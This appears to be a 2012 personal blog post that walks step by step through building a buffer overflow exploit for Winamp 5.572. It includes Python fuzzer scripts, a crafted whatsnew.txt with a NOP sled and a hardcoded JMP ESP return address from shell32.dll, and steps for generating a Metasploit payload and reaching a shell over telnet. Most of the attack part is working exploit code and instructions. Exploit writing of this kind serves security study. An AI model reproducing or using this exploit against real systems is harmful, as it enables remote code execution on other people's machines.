Thursday, September 27, 2012

Buffer Overflow Exploit Winamp 5.572

now i will try to make the application winamp crash

#!/usr/bin/python
nama="winampFLV.swf"
coba="\x41"*600000 
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()

try to load the fuzzer


 the application became crash...

 try to run with ollydbg



 the application became crash...but after i run it again using ollydbg, the EIP not overwrite.

then i try to make it crash use the skin
try to make fuzzer use file mcvcore.maki

#!/usr/bin/python
nama="mcvcore.maki"
coba="\x41"*600000 
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()

then copy and paste the file in C:\Program Files\Winamp\Skins\coba\scripts


 try to change the skin

the application will be crash like this..


but, after i try use ollydbg, the application can't crash.

then, i've tried to make fuzzer use config.xml and skin.xml... but it not work...
and i've tried to make fuzzer use whatsnew.txt too... 

#!/usr/bin/python
nama="whatsnew.txt"
coba="\x41"*60000
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()

but it not work.



and now i try to add the header for the version of Winamp into the fuzzer like this

#!/usr/bin/python
nama="whatsnew.txt"
coba="Winamp 5.572" + "\x41"*1000
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()

then the application will be crash and the EIP will be overwrite by character "\x41"

after that i will try to create patten 1000 and copy it into the fuzzer

#!/usr/bin/python
nama="whatsnew.txt"
coba="Winamp 5.572" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1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("testing...")
file.close()


search the stepping stone ..
view --> executables modules and double click on shell32.dll and the right click --> search for --> command and type JMP ESP


so we can see the address of JMP ESP


don't forget to breakpoint the address of JMP ESP to make sure that the address have been read by EIP.
then edit the fuzzer and use address of JMP ESP. 

#!/usr/bin/python
nama="whatsnew.txt"
coba="Winamp 5.572" 
coba+="\x90"*540
coba+="\xD7\x30\x9D\x7C"
coba+="\x90"*(1000-len(coba))
file=open(nama,"w")
file.write(coba)
print("testing...")
file.close()



now we can see the Ollydbg has stop process Winamp when access address of JMP ESP.

now make the payload 
open terminal and type this
root@bt:/pentest/exploits/framework2# ./msfweb 

after that open browser to generate the payload.



then copy the payload into fuzzer



so the application will be crash 


then try to access the system using telnet 



Alhamdulillah ... :D 


No comments:

Post a Comment